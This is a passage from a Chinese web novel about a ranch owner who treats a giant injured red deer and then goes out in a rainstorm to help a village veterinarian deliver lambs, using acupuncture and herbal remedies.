姚新泉仰望着马鹿，没错，是仰望。一米七只是这头公鹿的肩背高度，它一站起来，脖子跟头又伸出去好几十公分，往那儿一戳，跟个怪兽一样。 “不是，它怎么会这么大啊？”姚新泉从没觉得自己娇小过，她一米七的身高在新省也算是高个子女生了，更别说出去读书后认识的很多南方姑娘，虽然现在大家慢慢的营养也在跟上，但一米五几的比比皆是，所以她从没觉得自己娇小过。 可站在这头鹿身边，她只觉得自己像是个没长大的孩子一样。 姚新泉咂舌，“马鹿怎么会长这么大啊？不科学吧？” 师月江含笑耸了耸肩，“我不懂这个”，张新康也学着耸肩，“我也不懂。” 但无论如何，这头鹿确实看上去是马鹿啊！ “我所了解到的咱们国家最大的鹿应该是驼鹿，不过数量少，而且长得也不是这样的”，她指了指马鹿的角，“驼鹿的角应该是呈掌状，而且体格比它还大，肩高就能有两米，而且鼻子不是这样的。驯鹿的话普遍肩高不会超过一米二三，能有一米五就了得了，而且角细长分叉，末端扁平，也不是它这样的。” 眼前的这头鹿的鹿角呈树枝状，毛色呈红棕色，屁股上还有马鹿该有的那种臀斑，就是马鹿的特征啊！ 几人看了一会儿但确实不知道这家伙怎么会这么大，“马鹿是群居动物，你说它的族群呢？” 师月江哪里知道呢？几人想了想还是没找出个原因来，“算了，谁知道为啥会这样呢，反正它都这么大了！” 师月江两人拎着东西跟在马鹿身后，姚新泉站在马鹿身边，她能感受到马鹿时不时扭头看她一眼，心里好笑，伸出手去摸了摸它的鼻子，马鹿歪头蹭了蹭，姚新泉眼中闪过一抹笑意。 看起来是个脾气很好的大家伙呢！ 姚新泉几人本来穿着雨衣的，但方才穿着雨衣没法儿用力，便都脱了，如今更是成了落汤鸡，身上没一处是干的。 几人快步走了回去后，姚新泉让张新康先去洗澡，张新康想谦让一下，可姚新泉一瞪眼，他赶忙老实跑去洗澡了。 姚新泉牵着它到了炽焰隔壁的棚子里，反正现在用不上浴室，姚新泉去找了两块儿干的布回来，“我先给你擦一擦，你身上伤口真是太多了啊！” 她拿着干净布子在马鹿的身上擦着，小心避过了伤口，等擦到头的时候，马鹿懂事地低下了头，原本仰头看还觉得有点狰狞，可是此时低下头就觉得特别温驯。 尤其是这种庞然大物温柔起来真的让人心里又软又骄傲。 姚新泉也是这样，没忍住跟它碰了碰头，还专门把他鹿角上的水都擦擦干。 至于它身上的伤说严重也不算太严重，但是这边一条口子，那边一道擦伤的看着还是让人觉得触目惊心。 姚新泉叹气，“你该不会是从山上滚下来的吧？”她把自己能徒手取出的小石子先从对方伤口中取了下来，就算是在河里被洪水冲走，它会被石头、木头刮伤，但应该也不至于像这样吧！ 倒像是受伤之后落入河中的。 马鹿没办法说话，但是姚新泉感受得到它的心情特别平和，从上岸之后就是。 姚新泉给他搬了小半框提前收割的青草过来，然后想了想又去库房把他们提前买的油桃拿了几个过来。 她拿着小刀撬开油桃，把果核剔出来然后递到马鹿嘴边，马鹿乖巧地吃进嘴里，期间并没有碰到她的手指，姚新泉笑着摸了摸它，“你可真乖”。 给马鹿喂了两个又跑去给炽焰喂了两个，这家伙伤势好了一些就有点待不住了，但是在下雨也没办法，整匹马都蔫哒哒的。再说了，就算是没下雨，这家伙也不能动啊！ 姚新泉跟马鹿过来之后他就一直伸着脖子在看，好奇心强的不行！ 姚新泉给它检查了下伤势，见恢复得不错心里也高兴，“你再坚持一个月左右，到时候我给你放开啊！” 他的伤可比平安的要重，可不能轻易放开。 炽焰看着不大高兴，大鼻孔不停地朝姚新泉身上喷热气，姚新泉总觉得自己身上现在闻上去臭烘烘的，气得不行。 见姚新泉生气了他又高兴了起来，哼哼唧唧在她身边乱蹭，姚新泉无奈地笑了，跟个熊孩子一样！ “新泉，赶紧去洗澡，过会儿喝一碗姜汤”，师月江过来叫她，姚新泉赶忙去洗了个热水澡，出来后只觉得头皮都放松了下来。 “给，喝了暖暖身体”，师月江端了一碗姜汤给她，张新康伸着脖子看了一眼忍不住嘟囔，“咋我的没红糖啊？” 师月江无奈地指了指橱柜，“里面有，要加的话自己去”，他端了一碗没放糖的迅速喝掉，姚新泉也捏着鼻子把这碗红糖姜汤喝掉了。 张新康闻着那股红糖跟生姜混合的味道忍不住皱了皱鼻子，算了算了，还是别放红糖了。 他一口焖掉还热的姜汤，忍住作呕的感觉在沙发上缓了半天才回过劲儿来。 “那马鹿身上有好几道伤口得缝合一下，它那伤口不算特别长，但是很深，而且边缘也参差不齐，估计难自然恢复。再说了现在天热，要是被苍蝇叮了就麻烦了。” 她家牧场牲畜棚其实打扫的很是频繁，也收拾的很干净，但是到底有那么多动物在，也没办法说是一大便就收拾干净，苍蝇是没办法避免的。 如果说它那伤口被苍蝇产卵或者寄生虫侵袭那就麻烦了！ 第116章 “你要给马鹿做手术？” 张新康听得眼睛瞪大了,他都没做过手术呢？ 一不小心把心里话说出来了，挨了姚新泉一个巴掌，张新康哎呦一声,“做手术是什么好事情是吧？你爸妈给你起这个名儿就是让你健健康康的,简直找抽！” 张新康缩了缩脖子不敢说什么,但还是好奇地跟在姚新泉身后,“姐你这是要干嘛？” 姚新泉没好气地把药材袋子上贴着的纸翻过来,“细辛跟花椒。” “姐你这药材就放在袋子里啊,不合适吧？”他虽然不清楚药材该怎么保存，但也没这样的吧！ 师月江呼噜了一把他的头发，让人往后站站，“我给你姐去寻摸好的药柜了,要是没找到就给她打一个。” 他们县乃至市里正儿八经的好中医真不多,所以药柜不是什么刚需,人木匠也少有做这个的，他总不能跑到人家中医院去找人家买药柜吧？ 不行就让人从内地打了送过来，远点儿但东西不差什么的。 “你把细辛跟花椒磨碎了过会儿敷在马鹿伤口上,也算是麻药吧”,她不是正经兽医，买不着麻药,只能想办法用中医的法子。 “它不用全麻,那么大的体重全麻了容易出问题,就给它局部麻痹就可以了。” 方子其实不少,比方说可以用川乌或者草乌+生南星，但这玩意儿里面含有生物碱，是有毒的，就算没中毒也得给它接着采用一些别的治疗预防中毒。 而口服一些镇定剂的话,那就又成了全麻了，问题也大。 “我到时候再给它扎两针问题应该不大”。 师月江买了吹风机回来，她把头发大致吹干后扎起来，还用小卡子把碎发都别好，免得挡眼睛。 几人带着东西去了畜棚，雨下的太大了姚新泉就没让狗狗们出来，狗子们还有莱尼、小金、小白鼬全都窝在屋里，除了上厕所都不让出来。 一回头就看到几个小家伙摞在一起趴在窗户上看他们，姚新泉笑得不行，“等天晴了必须得赶紧盖房子，都挤不下了，天又热，它们待得也难受。” 说盖房子盖房子，盖了这么久也没见动工，主要是事情太多了！ 从化冻开始到现在这几个月姚新泉感觉一眨眼就过去了，好像没哪天是没事情干的！ “等雨停了我就去安排，到时候还得去弄一下审批，我把手续跑完就安排人来盖。” 张新康懒得听两人说这些，他小跑着进了畜棚，把雨衣脱下来挂在杆子上后就想凑到马鹿身边去。 马鹿居高临下的看着他，张新康瑟缩了一下脖子，没忍住往后退了退，等姚新泉他们进来他才跟着远远探头看着。 姚新泉给手上消了消毒，让师月江也跟着消毒，然后两人拿着针筒抽取了生理盐水后小心地冲洗着马鹿身上的伤口，实在冲洗不出来的小石子只能用镊子夹出来。 “这家伙估计是受伤后落水的，一身的擦伤。” 姚新泉拿着剃刀把稍微严重一些的伤口附近的毛都剃掉了，原本看上去神骏威严顶着一对大角的马鹿瞬间就变成了斑秃，张新康忍不住噗嗤笑出声来。 两人都没理他，姚新泉两人又拿出碘伏给伤口消毒，不是没有双氧水，一来是伤口没到化脓的程度，二来就是那玩意儿太痛了，马鹿确实现在看着还挺温和的，但是真惹怒了人家，那一对大角可不是开玩笑的，肠子都能给人顶出来！ 两人小心翼翼给马鹿清创，然后给不严重的地方涂上云南白药。 等不严重的处理完后姚新泉又重新做了下消毒，将调制好的药粉撒在了需要缝合的一个伤口处，伤口位于腹部，不长，但是姚新泉只觉得如果再深一点可能就“开膛破肚”了。 敷好药粉后，姚新泉又给它施了针，感觉药效应该上来了，姚新泉试探性地碰了碰伤口，见马鹿没什么反应这才放下心来。 她给全弯针穿上线后小心开始给马鹿缝合，尽力将肌肉皮肤每一层都缝合好。 师月江挡在姚新泉跟马鹿的头中间，一边安抚一边预防这家伙万一被扎急了突然顶人他还能稍微控制一下。 姚新泉采取的是单纯间断缝合，这种缝合方式即便某一处感染也不会伤害到其他部分，只是相对会慢一点。 等她将马鹿身上的伤口全部缝合好后天已经彻底黑了下来，屋里有灯泡倒不至于看不到，但出了棚子之后天黑沉沉的没有一点亮光，张新康看得头皮发麻，“这雨什么时候能停啊！” “快了，明天吧!”姚新泉打了个呵欠，折腾了大半天，今天天黑的特别早，几人也懒得再去打捞了，便收拾收拾准备睡下。 山下却不太平。 姚新泉家的畜棚才修一年，用的虽然不是什么顶好的材料，但也都是好东西。 再加上下雨前姚新泉专门让师月江爬上爬下去检查过，该加固的都加固了，屋顶上专门铺了一层雨布，屋里不至于漏雨。 可山下不一样，许多人家的畜棚也就是用木头跟稻草垒了一下，这风雨一来，根本撑不住！ 艾力忙了一早晨，就忙着给那些被淹的地方做消毒，以及给一些磕着碰着的牲畜做处理，不是什么大事，但是特别琐碎，大半天忙下来腰都直不起来了。 可听到电话里讲说是有个羊圈塌了底下埋了小 两百头羊的时候艾力倒吸一口凉气，脸都白了，“我这就过去！” 他穿上雨鞋刚准备出门，想了想咬牙又给姚新泉打了个电话。 姚新泉接到电话后想了想还是答应了，师月江听到后暗暗叹了口气去帮两人收拾东西，倒是在一旁等着的张新康脸沉了下来。 “你发什么疯啊？外面这么大的雨，那是你家羊吗你就往外跑？”这路上确实因为常年有人走算是踏出路来了，但这路可没正经修过，顶多算是“走的人多了也便成了路”，别说是这种下着雨到处都是泥泞的时候，就是平时也跟山下的路没法儿比啊！ 一脚下去全是泥可不是开玩笑的啊！ 姚新泉知道弟弟的好意，拍了拍他的头，“行啦，知道你是担心我，这坡也不陡，就算真摔了一下爬起来再走就成。” 知道姚新泉怕张新康念叨自己，师月江出来打圆场，“给你安排点儿任务啊，羊圈牛圈里你早上喂一次就把食槽里放满草就成，水的话也有水槽，给它们提上几桶，牛过会儿我们先挤一些牛奶，你自己喝也成，想怎么弄都成，家里也有方便面，也有别的，你要会做就自己做，不会就煮个方便面，放几个蛋。” “不是，你也要去啊？”张新康皱眉看着两人，姚新泉也欲言又止，师月江笑了一下，“你姐自己去我可不放心！” 他是阻止不了姚新泉，但是至少能做到去陪着她。而且这种天气让她一个人走这段路他哪里睡得着觉？ 张新康看了他一会儿半晌无奈点头，“你们要去就去吧，家里有什么要干的跟我说，我未必干得好，但我就尽力吧！” 几人算是商量好了，两人赶紧给牛挤奶，电动挤奶器跟人工一起上，至少保证不至于短期内涨奶后姚新泉两人穿着雨衣，带着干粮跟其他装备，背着药箱相携下山。 “我感觉已经很久没有这种伸手不见五指的感觉了”，姚新泉笑叹，师月江把身上的背包调整了下位置，牵好姚新泉的手，拿着手电筒小心照着脚下。 “你别告诉我你喜欢这种感觉？” 听出师月江的无奈了，姚新泉笑了一声，“怎么会，也就是感慨一句罢了，我还是喜欢满天繁星的感觉。” 天晚了再加上路滑，两人实在是不敢骑车，骑马更危险也拉倒吧，别好心好意下山帮忙，半路上出师未捷身先死那就让人心累了。 “我哥临走前跟我说了已经安排人给咱们修路，估计等天晴了就会过来，到时候柏油路修上咱们出行也方便”，至少不会像现在这样一脚踩到泥坑里拔都拔不出来！ 姚新泉叹了口气停下了脚步，“我还是把雨鞋脱了吧，这走起路来太费劲儿了”，宽大的雨衣跟臃肿的雨鞋一穿上只觉得行动都不便了。 “要不我背你？” 姚新泉赶忙拒绝，“可别，咱们带着这么多东西，就算你能背意一时，这么几公里的路你能背完？而且太耽误时间了”，虽然说师月江身体已经逐渐恢复过来，比刚见面时健康多了，可姚新泉也有60公斤，那么大的个子再加上装备，这种雨天让他负重七八十公斤，这纯粹是没事儿找事儿！ 师月江无奈一笑，“行吧，你想换鞋？” “嗯”，姚新泉扶着师月江换了双布鞋，把袜子脱了又把雨鞋装在塑料袋里提在手上，“幸好你塞了两双鞋，等到了地方咱们再换干的吧！” 师月江想了想也换了鞋，总不能自己再拖后腿吧！ 两人牵着手也不知道走了多久，等艾力听到声音出门时就看到姚新泉穿着雨衣，上面都是泥，看起来狼狈的不行站在已经漫到小腿肚的水中朝自己笑，艾力眼眶一下就湿了。 “摔了是吧？” 姚新泉笑着点头，“摔了两跤，没什么大事。” 第117章 艾力又是愧疚又是尴尬地给两人去倒水,姚新泉赶忙拦了一下，“别，不是着急嘛,你去忙你的,我跟月江收拾一下马上过去。” 一路上过来鞋子要换,身上衣服也得换,不然就这样肯定得感冒。 姚新泉找了个没人的屋子在里面换了衣服,师月江站在外面守着,两人再交换，等收拾完后师月江接过她手上的衣服道，“你去忙吧，我先看看有没有地方能把衣服烘干”。 两人倒是穿了一套,带了两套过来,但是这个天儿又是下雨又是刮风,那雨丝丝点点往里落，就算没有直接淋到浑身也觉得湿哒哒的，更别说师月江抬头看了一眼,唉,这棚子还漏水。 村干部见他注意到这尴尬地解释，“也是没办法,咱们这儿地势最高的就是他家了,条件又不太好。” 师月江安抚道,“鱼与熊掌不可兼得,没办法的。” 他拎着衣服去了火堆旁，估计是因为有小羊刚出生，所以圈里一侧专门点了个火堆，就怕这种天气又是受了惊吓导致早产的小羊羔活不下去。 师月江怕母羊应激也没靠的太近,随手拿了根杆子抻着衣服烘烤了起来。 另一边姚新泉收拾好后便进了畜棚。 这家人家的畜棚不算大，总共就三大间，跟姚新泉家没法儿比，但是在他们村里还算是大的了，当然主要也是因为他们村的牲畜不算是特别多，三个棚子竟然也勉强挤下了。 当然了位置不大是一方面，最重要的是这棚子很简陋，就是用木头做围栏，麦草和泥做房顶，平时倒也还好，但是一下雨的时候漏雨是必然的。 “你刚说有羊被埋了，怎么样了？怎么回事啊？” 艾力叹气，“这本来四个棚子的，但最大的那个老化的厉害，梁估计都有点腐蚀了，这一下雨哪里撑得住，不就砸下来了？” “那人呢？人都没事吧？”姚新泉过来没见着几个人有些担心。 “他们这里有个晒谷场，离得不远，人都在那边呢，我前面去看了一下，拉着雨布挡雨，人挤人的倒也不冷。” 这边地势高，住在这边下山会麻烦很多，所以早年有机会大家都在逐渐往山下走，慢慢留下来的老人走了，也就这么一户还在这过日子。 “压在下面的羊你们过来前都已经挖出来了，没问题的都赶到旁边了，就这还有五十多头有问题的。” 艾力头都大了，他给伤口线打了个结，看着那粗糙的手法姚新泉只觉得头疼，艾力不好意思地笑了笑，“我一般不给缝合的，这不是没办法嘛！” 大多数情况下养殖户遇到牲畜受伤严重到需要缝合伤口的情况下他们肯定就直接杀了的。 “它这不严重，就是尾巴上被戳了个大洞，我怕后面生蛆所以给缝合的”。 姚新泉点了点头，“那我现在？” 艾力朝她抬了抬下巴，示意她看在一旁卧着的小羊，“叫你来主要是因为它们，外伤我自己也能勉强处理，主要是这十来头羊都是孕晚期，又是打雷下雨又是受惊吓，还被埋在棚子底下，那几个状态都不太好，我实在是不敢接生。” 那十来头羊都是不同人家的，自然□□生产，一家可能就三五头羊，每年杀上两三头吃肉，规模也不扩大，也不怎么需要照料，平时下地干活的时候就牵到地头来，或者回家给他们带把草都成，很好养。 “它们我是真没把握，到时候一尸两命甚至好几命”，羊怀多胎的可能性可比牛要大多了，能争取的情况下他还是希望尽量能救一下的。 “你家牛生产的时候我就发现了，我懂得你也懂，我不懂的你未必不懂，而且在接生上也算是一把好手啊！” 艾力按着羊的头给它伤口剃毛，没让姚新泉帮，“我自己来就成，不过你自己开牧场搞养殖的，会接生还是好处多”，除非牧场里有专职的兽医，不然兽医总是没办法第一时间就到场的，这种情况下自己会接生绝对是好处多多啊！ 姚新泉走近 了几头小羊，这羊应该是没管什么品种不品种的杂交出来的，姚新泉在它们身上看出了不少羊的特征，一时间倒真看不出来是由什么羊杂交的。不过这也不重要，目前还是处理它们分娩的问题最重要。 看了一眼飘进来的雨滴姚新泉叹了口气，“能把它们先转移到避雨的地方吗？” 不是她非要给人找麻烦，这都孕晚期了，这种身体状态再持续淋雨怎么受得了？ 村干部一直跟在后面，想了想还是道，“腾不出别的了，只能把这块儿封住，先让雨别下进来。” 实在是没办法啊，在这种飘着雨丝的棚子里还是在泡着水的棚子里让你选的话怎么选？ 姚新泉叹气，也只能先这样了，“给我找点干布过来，身上至少得擦干，再把火盆或者炉子端过来吧！” 本来前几天白天温度最高的时候都快三十度了，晚上十八九度是肯定有的，但现在估摸着最多也就十度左右，羊身上再穿着一身湿透的毛衣，想想都难受。 看着村干部递过来的破毛巾姚新泉简直都无语了，还好看着像是干净的。她也顾不得那么多，先把羊身上的水给擦干净，又把火盆挪了过来。期间也不知道是她的亲和力又发挥效果了，还是小羊们确实没力气折腾了，都非常乖。 她把自己带着的本子翻了出来，上次师月江给牛编号的办法其实还挺不错的，这些羊不是自家的，姚新泉也不是太熟悉，所以一时间也没办法把每一只都对应上。 她大概记录了一下，目前十二头羊中有三头是双胎，一头是三胎，别的都是单胎。 三胎的那头羊状况不好，双胎的三头中有两头也不太好，一头还行，应该能顺产，另外单胎中有一头竟然是状况最差的，因为它是真的被砸伤了。 最主要的是这头羊还没到生产的时候，如果能保还好一点，保不了的话估计羊羔得没。 艾力他们估计是没注意到这头是被实打实砸到了，但实际上姚新泉一看它这个状态跟脉就知道不对。 她食指中指放在羊的后肢股动脉处，闭眼细细感受，脉象大概能感受得到是气血瘀滞并且有应激反应，再加上脉象忽强忽弱，有流产的先兆。 姚新泉头疼，可对上这头头上有黑斑，身上大多数都是白色的小羊那似乎在恳求一样的目光是她又深深叹了口气，“艾力大夫你可真是给我找了几个大难题啊！” 她也没等艾力回话，从针灸包中掏出三棱针消毒后在小羊的耳尖处各自放血三到五滴，又用指尖轻轻按压它的山根穴让它放松来缓解应激。 “你那儿有□□吗？” 看到艾力那无能为力的表情姚新泉又叹气，啥都没有啊！ 本想着肌肉注射会快一点呢，但没有的话就没办法了。 “你就庆幸我下雨前下山让师月江买了不少中药吧！”她恨恨道。 姚新泉想了想提笔写了一道安胎定惊散，酸枣仁10g、柏子仁8g、白术10g、黄芩6g、桑寄生8g、茯神6g、炙甘草5g。 “先这样，师月江你去熬药”，她把方子递了过去，然后把自己带的艾灸棒拿了出来，小心翼翼在小羊的百会穴和肾俞穴进行艾灸，再轻按后海穴，反正都是些有助于保胎的穴位，它这胎要想留住只能保，不能现在就生。 身上的伤暂时没那么急，姚新泉按完又去了那头三胎的羊身边。 这是头纯黑的小羊，姚新泉去一看头都大了，羊水破了，可是宫缩很是无力！ “有没有红糖水，赶紧给我倒半公斤温水兑上一小把红糖来！” 艾力听到声音凑了过来，这一看眉头也皱了起来，“体力不支啊！我这儿带的维生素B混合液也用完了，不然还能肌注一针或者挂上吊瓶的”，他带了不少药过来，但是砸到将近二百头，虽说不是每头都出了问题，但是用药的地方多着呢！ 村干部赶忙跑去上面大家聚集的地方找红糖，“按一下”，姚新泉赶忙给针消毒，“要是有西药就方便多了，没有的话我只能中药加针灸刺激了，但是你做好心理准备，中药也不是特别多”，他们就两个人，又得带药箱又得带衣服，总不能说他们好心下来帮忙一点儿私人的东西都不带吧？ 她是乐意帮忙，可也没无私到这个份儿上。 艾力又叹气，“有时候真觉得巧妇难为无米之炊，我是不会你这些针灸的，真没药了你还能顶一下，我真是屁用没有！” 姚新泉无奈白了他一眼，“能联系山下送药过来吗？” 看艾力那无奈的眼神就知道别想了，姚新泉也叹气，行吧，这种时候就算真送药那也不是给牲畜送，肯定是给人送啊！ 他们是重视牲畜，可那也是因为这是那些人家里少有的甚至是仅有的财富，怎么能不重视？ 但跟人比起来，完全没有可比性。 第118章 两人说了两句见她这边有条不紊的艾力也赶紧回去接着处理外伤了,让村干部过来帮忙按着。他早就提前给牲畜分好了类，没什么问题的或者顶多是淋雨或者受了惊吓的在一起，给喂了温水,又烧了火,慢慢缓吧！ 受了外伤的在这边他自己治疗,怀孕甚至快生产的让姚新泉去处理,他倒也不是处理不了,只是他自问,姚新泉家牛那种情况，他能保全大牛都不错了，母子平安根本不可能。 姚新泉在接生上的手艺是超过了他的。 姚新泉自然不知道他在想什么，她捻着针缓缓刺入羊的百会穴、后海穴跟抢风穴,捻转刺激,等感觉差不多了取出针消毒后收起来,又写了张方子给干部，“去熬一下这个加味催生饮，用”,姚新泉顿了一下,“就正常煎药就成”，其实应该用黄酒急煎浓汁的,但现在这条件能有干净水都不错了。 “大火赶紧煎吧”,她又拿出艾条,用艾条悬灸至阴穴差不多15分钟,那边药也熬好了，也顾不得许多，师月江拿出两个干净的碗反复倒来倒去让药液能入口后递给姚新泉。 “你那边有喂药的吗？”这药味儿着实不好闻，羊根本不想喝。 艾力赶忙翻出一个大型针管,上面连接着一根细的胶管，姚新泉看了一眼，也行吧。 消毒后她让师月江帮忙小心按住羊然后将胶管从嘴角探了出去，感觉到小羊的不舒服了，姚新泉赶忙安抚它，估摸着位置应该是到了后她缓缓将注射器里的药液推入，喂了差不多半碗后才将胶管抽出来，小羊不适地咳嗽了两声。 她接过师月江投洗地热毛巾，小心敷在小羊的外阴后，用手掌顺时针按摩子宫，动作非常轻缓。 等感受着它渐渐恢复宫缩姚新泉才松了一口气，羊水都流了再不生产那麻烦就更大了。 “这羊怀的还挺好的，本身身体底子不错，胎位也正，如果没受到惊吓的话是能顺产的，之前就是没体力了”，刚好另一名干部找的红糖水拿来了，她赶紧喂给小羊，看小羊状态好像好了一些她心里就更放松了。 见它这边状况还好，姚新泉又去看了另外两头双胎的羊，其实情况差不多，就是因为淋雨又受到惊吓导致体力不支，给两头羊都治疗上后这才缓缓吐出口气，在师月江的搀扶下站了起来。 “另外几头还是要保胎的，还没到生的时候，能保尽量保，你去给那头头上有黑斑的小羊把背上的伤处理一下”，姚新泉看着师月江道，“背上毛剃了，我箱子里有剃刀，然后伤口做下消毒，我没看到破皮，应该是青紫了，或者在我没注意到的地方，这也没办法冰敷，给它稍微处理下，然后把我药箱里那个蒲公英泥给它贴上去”，这是她这几天做的，蒲公英反正遍地都是，也没啥成本，但是抗菌消炎成本还不错。 师月江嗯了一声快步走了过去，他别的不行，处理外伤还是没什么问题的。 等姚新泉这边把这十二头羊都处理了一遍后她实在没忍住坐在了地上，脸都隐隐泛白了，手也有些使不上劲。 两人就算在雨夜也算是快走了，两个小时，再加上到了基本也没歇立马便忙了起来，姚新泉现在觉得头都开始痛了。 师月江担心地看着她，她笑着摇了摇头，脸上是难得的虚弱，“你让我靠会儿。” 艾力不好意思地抿了抿唇，人家也不是兽医站的，就是自己厚着脸皮把人叫来纯帮忙，也不知道这次能申请下来多少补贴…… 上次姚新泉去救牲畜的时候他就给申请了补助，不过不算多 ，但好歹没白干，这次一样得申请，人家冒着生命危险过来的啊！ 师月江先去拿了件自己的外套回来披在姚新泉身上，然后也没顾及别人的眼神将姚新泉搂在了怀里，又给她递了杯热水，“先歇一会儿吧！” 姚新泉闭上眼睛眯了一会儿感觉精神好了一些，但也睡不着，她四下打量着这个棚子，“这有点简陋啊，家里是专门养殖的吗？”如果是专门干养殖的那真是有点不讲究了，别说冬天了，夏天都扛不住啊！ “而且不是说基本都下山了吗，怎么他家没搬？人呢？” 村干部尴尬一笑，“山上条件不太行，基本上能走的都走了，都下山了。” “他家不想走纯粹是懒”，艾力嫌弃得不行，他指着身后的牛，“别人家养个牲畜不说白白胖胖的，至少人家干干净净的，你看那头又瘦又脏的就是他家的。” 姚新泉回头看了过去，那头牛不知怎么的突然也看了过来，一对上眼神姚新泉便愣了愣，不由自主地起身凑了上去。 艾力在忙手上的事情也没顾得上这边，师月江愣了一下赶忙跟上。 这头牛的能看得出来骨架子很大，但是估计没得到很好的照料，所以看起来皮包骨头的，很是凄惨。 但是姚新泉仔细看去，就发现这头牛的头整体呈方形，角短而粗，角基呈蜡黄色，额部至鼻镜处有白色斑块，肩峰隆起明显，背腰平直如板，臀部肌肉呈\"双肌臀\"特征，后躯发育显著。 它整体呈褐色，眼圈处有浅色环带，蹄壳呈黑褐色。四肢下部毛色变浅呈"袜套状"，跗关节夹角约莫五六十度的样子。 姚新泉狠狠吸了一口气，用胳膊碰了下师月江，“你看那牛？” 师月江不解，“很瘦？” 确实是很瘦，比家里的牛可瘦了不少呢！ “我是让你看这个吗？我是让你看那牛，是不是品相特别好，我觉得那是头特别好的种公牛！” 只要目光落在它屁股那里就能看到很明显的下垂的阴囊，里面有□□，而不是内部只剩纤维化组织，一看就没被煽过。 师月江没忍住皱起了眉头，“你确定吗？”不是不相信姚新泉，只是一头看起来比家里母牛还要瘦弱的公牛，真的能做种公吗？ “你眼光真差！”姚新泉吐槽，语气满是嫌弃，“你就没看出来它的体格子简直就是教科书级别的褐牛种公吗？” 师月江好笑地道歉，“好好好，是我眼神不好。” 姚新泉轻哼了一声，她把外套还给师月江，自己小心靠近了这头公牛，绕着转了一圈才发现，是真的很好！ “我要把它买回去！”她扭头双眼亮晶晶地看着师月江，师月江有一瞬间想摸摸自己的胸口，甚至想暗骂两句，怎么这么不争气，这哪里是小鹿乱撞，这最起码也是他家那马鹿在乱撞吧！ “买！”他毫不迟疑，别说一头牛了，只要她想要，啥都买！ 姚新泉抿唇笑了笑，又绕着牛看了两圈，脸上多了两分遗憾，“到时候得好好调理一下，而且得做个驱虫，也就是资质太好了，不然早都被他们家给折腾的不行了！” 她翻了翻口袋，有些懊恼，“我没装糖啊！” 师月江看了看比脸都干净的口袋也有些无奈，“变天了咱们穿的都不是这几天常穿的衣服”，衣柜里的干净衣服一般兜里都是空的啊！ 正当她懊恼时就听艾力一声“接着”，她赶忙伸手一抓，两颗糖到手。 姚新泉眼睛亮了，“谢啦！” 她剥了糖纸把糖递给小公牛，小公牛睁着水汪汪的大眼睛看着她。正常未阉割的公牛其实是比较有攻击性的，但这头小牛当她靠近了之后不仅能感受到对方的善意，从对方的眼神中也能感受出来它很喜欢自己，这一点让姚新泉心里也非常高兴。 “你想买啊？”艾力凑过来看了看确实觉得不错，但没喜爱到姚新泉这种程度。 姚新泉用力点头，“等雨停吧，回头我联系下它主人把它买回去”，看了眼两位村干部，她换了个说辞，“还挺合眼缘的。” 歇好了后姚新泉检查了下那两头双胎的和那头三胎的，见它们能正常努责，不需要人工牵引姚新泉就没帮忙，只是在它们力气不大够时帮它们施针刺激一下。 等七头小羊都平安产下并且没有什么明显问题，母羊也顺利排出胎盘，还没有大出血后，艾力忍不住给了她一个大拇指。 “你真是这个！咱们县以后遇到难产的都能找你了！” 姚新泉没好气地白了他一眼，难产是什么好事吗？而且谁能保证每个难产的都能母子平安？她就是一普通人，又不是什么掌管生育的神…… “你可别捧杀我啊，凑巧罢了！” 艾力笑了笑没继续这个话题，是不是真本事他看得很清楚，那些针灸啊把脉啊，放在人身上都难，更别说牲畜身上了。 这就是真本事。 姚新泉去了他那边帮忙，除了外伤的还有应激反应比较强烈或者有别的问题的。 两人正忙着突然听到外面一阵嘈杂，村干部出去看了一眼后脸色难看地回来了，“有个产妇发动了，这边年轻人不多，村里赤脚大夫年初的时候去市里治病了，现在也没个盯着的人，我得跟着去看看，这边你盯一下啊！” 这个村子年轻人大多数能出去打工的都出去了，整个村里都没什么年轻男人，这种时候肯定是要找年轻力壮的人去抬，一个弄不好可是要出事的！ 师月江抿了抿唇，有些为难地看向了姚新泉。 姚新泉捏了捏他的手，“想去就去吧，我在这边挺好的，也不会瞎跑，你放心！” 师月江深深看了她一眼，用力抱了她一下，“你等我回来！” 不管因为曾经的职业还是因为什么，他都不可能坐在这里放任不管。 “去吧！” 第119章 师月江几人中他有雨衣,另外两位干部也有雨衣，但还有一位中年男性没有，师月江便把姚新泉要穿的那套递给他。 那人抹了把脸上不知道是汗水雨水还是眼泪的,勉强扯出一抹笑来,“谢谢。” 师月江摇了摇头,接过了担架,看着搭在担架上的那块儿雨布他停下了脚步,一旁的干部有些疑惑,“同志？” 师月江朝担架上抬了抬下巴，“那个雨布得给她支起来，这样贴在身上她受不了，而且这雨水也会流到担架上,孕妇受不了的。” 姚新泉见他们没走担心有什么事情赶紧随便找了个东西挡在头上便跑了过来,“怎么了？出什么事儿了？” 师月江讲了下自己的想法后几人都觉得确实得撑起来,可时间来得及吗？ “给我五分钟时间”，师月江几人把担架放下后他便跑了出去，没一会儿就折了好几根榆树枝回来。 他将雨布两侧用绳子捆在担架上,稍微留出一点富余的量来,然后将树枝弯折出弧度后伸进去把雨布撑起来形成拱形，避免雨水堆积。 孕妇的头跟肚子都不再直接贴在雨布上了 ,也留出了通风的地方,人舒服了很多。 师月江简单弄完后又把村里找出来的几个手电筒绑在了他们身上,抬着担架快步往山下走去。 姚新泉满脸都是担忧,同时又不免懊恼，他们为了出行方便没带卫星电话，但是应该把大哥大带上啊，万一这边有信号,还能提前联系下山下呢！但现在说什么都晚了。 艾力见她这样拉着她继续治羊，“你别想那么多了，你们家小师我虽然不知道他之前是干什么的，但肯定是经过事儿的，遇到这种事情肯定比你靠谱，你别太担心了，忙起来把，忙起来就不记挂着这个了。” 姚新泉也知道师月江在这方面肯定比自己强啊！ 当兵的拉练什么的也不可能说是完全不考虑如何克服恶劣天气的，至于她虽然在边疆出生，但是这边环境还可以，也没什么极端天气，没受过什么罪，在这种情况下没什么生存能力。 可担心不会因为理智告诉自己不用就不担心了。 师月江每一步都小心翼翼的，“都别着急，尽量平稳一些”，刚才问过了，孕妇羊水还没破，这种时候万一羊水因为颠簸导致破了，这边又没一个能帮着接生的，那肯定完蛋！ 所以宁愿稍微慢一点，也绝对不能颠簸！ 正走着突然听到身后传来异响，几人瞬间头皮发麻，可还没等说什么就听身后人喊，“你们等一下，我去前面走，我认得路，我给你们探路！” 师月江不认识来人，但是年轻的干部认得，不免有些激动，“是迪亚斯阿爸！” 等来人到了附近，师月江才发现这人年龄确实不小了，估计得有60岁了，他一路疾走不免有点儿喘，见他摸黑过来的几人更是感动。 “您在我兜里找一下，还有一台手电筒你拿出来用！” 